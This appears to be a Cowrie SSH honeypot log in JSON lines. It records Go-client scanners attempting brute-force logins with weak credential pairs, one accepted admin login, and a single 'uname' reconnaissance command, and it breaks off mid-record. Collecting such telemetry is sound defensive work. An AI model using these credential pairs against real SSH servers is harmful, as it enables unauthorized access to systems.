{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:37.488511Z","src_ip":"45.156.87.147","session":"18caa13f54ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:37.808120Z","src_ip":"45.156.87.147","session":"18caa13f54ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52270,"dst_ip":"10.17.0.5","dst_port":22,"session":"74d1d00efefd","protocol":"ssh","message":"New connection: 91.92.42.227:52270 (10.17.0.5:22) [session: 74d1d00efefd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:37.864460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:38.809126Z","src_ip":"91.92.42.227","session":"74d1d00efefd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:38.812095Z","src_ip":"91.92.42.227","session":"74d1d00efefd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:38.897470Z","src_ip":"45.156.87.147","session":"18caa13f54ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:38.936841Z","src_ip":"91.92.42.227","session":"54943024d5e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59074,"dst_ip":"10.17.0.5","dst_port":22,"session":"192b2095d191","protocol":"ssh","message":"New connection: 45.156.87.147:59074 (10.17.0.5:22) [session: 192b2095d191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:43.321682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:43.325150Z","src_ip":"45.156.87.147","session":"192b2095d191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:43.408327Z","src_ip":"45.156.87.147","session":"192b2095d191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":43038,"dst_ip":"10.17.0.5","dst_port":22,"session":"517652e8951d","protocol":"ssh","message":"New connection: 8.219.200.1:43038 (10.17.0.5:22) [session: 517652e8951d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:43.523519Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty123","message":"login attempt [deploy/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:43.666070Z","src_ip":"45.156.87.147","session":"192b2095d191","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:43.983884Z","src_ip":"91.92.42.227","session":"74d1d00efefd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52376,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dd7c896e7ea","protocol":"ssh","message":"New connection: 91.92.42.227:52376 (10.17.0.5:22) [session: 9dd7c896e7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:44.249103Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:44.749995Z","src_ip":"45.156.87.147","session":"192b2095d191","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:45.205716Z","src_ip":"8.219.200.1","session":"517652e8951d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:45.366712Z","src_ip":"91.92.42.227","session":"9dd7c896e7ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:45.369798Z","src_ip":"91.92.42.227","session":"9dd7c896e7ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:45.439422Z","src_ip":"8.219.200.1","session":"517652e8951d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:46.205916Z","src_ip":"91.92.42.227","session":"74d1d00efefd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:46.833069Z","src_ip":"8.219.200.1","session":"517652e8951d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:48.072499Z","src_ip":"8.219.200.1","session":"517652e8951d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50374,"dst_ip":"10.17.0.5","dst_port":22,"session":"7001fb575c7f","protocol":"ssh","message":"New connection: 45.156.87.147:50374 (10.17.0.5:22) [session: 7001fb575c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:49.413963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:49.417134Z","src_ip":"45.156.87.147","session":"7001fb575c7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:49.504388Z","src_ip":"45.156.87.147","session":"7001fb575c7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"password","message":"login attempt [jellyfin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:49.776309Z","src_ip":"45.156.87.147","session":"7001fb575c7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34410,"dst_ip":"10.17.0.5","dst_port":22,"session":"8efe008cdaf5","protocol":"ssh","message":"New connection: 91.92.42.227:34410 (10.17.0.5:22) [session: 8efe008cdaf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:50.343043Z"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1","message":"login attempt [user3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:50.407459Z","src_ip":"91.92.42.227","session":"9dd7c896e7ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:50.861403Z","src_ip":"45.156.87.147","session":"7001fb575c7f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:52.292826Z","src_ip":"91.92.42.227","session":"8efe008cdaf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:52.295760Z","src_ip":"91.92.42.227","session":"8efe008cdaf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:52.907446Z","src_ip":"91.92.42.227","session":"9dd7c896e7ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50400,"dst_ip":"10.17.0.5","dst_port":22,"session":"751e7819fd92","protocol":"ssh","message":"New connection: 45.156.87.147:50400 (10.17.0.5:22) [session: 751e7819fd92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:55.697245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:55.715626Z","src_ip":"45.156.87.147","session":"751e7819fd92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:55.780141Z","src_ip":"45.156.87.147","session":"751e7819fd92","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:56.109414Z","src_ip":"45.156.87.147","session":"751e7819fd92","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:56.312299Z","src_ip":"45.156.87.147","session":"751e7819fd92","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:56.315315Z","src_ip":"45.156.87.147","session":"751e7819fd92","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:56.407424Z","src_ip":"45.156.87.147","session":"751e7819fd92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:56.411248Z","src_ip":"45.156.87.147","session":"751e7819fd92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":57262,"dst_ip":"10.17.0.5","dst_port":22,"session":"c42b85f30ecd","protocol":"ssh","message":"New connection: 8.219.200.1:57262 (10.17.0.5:22) [session: c42b85f30ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:56.656313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:56.683487Z","src_ip":"8.219.200.1","session":"c42b85f30ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@opens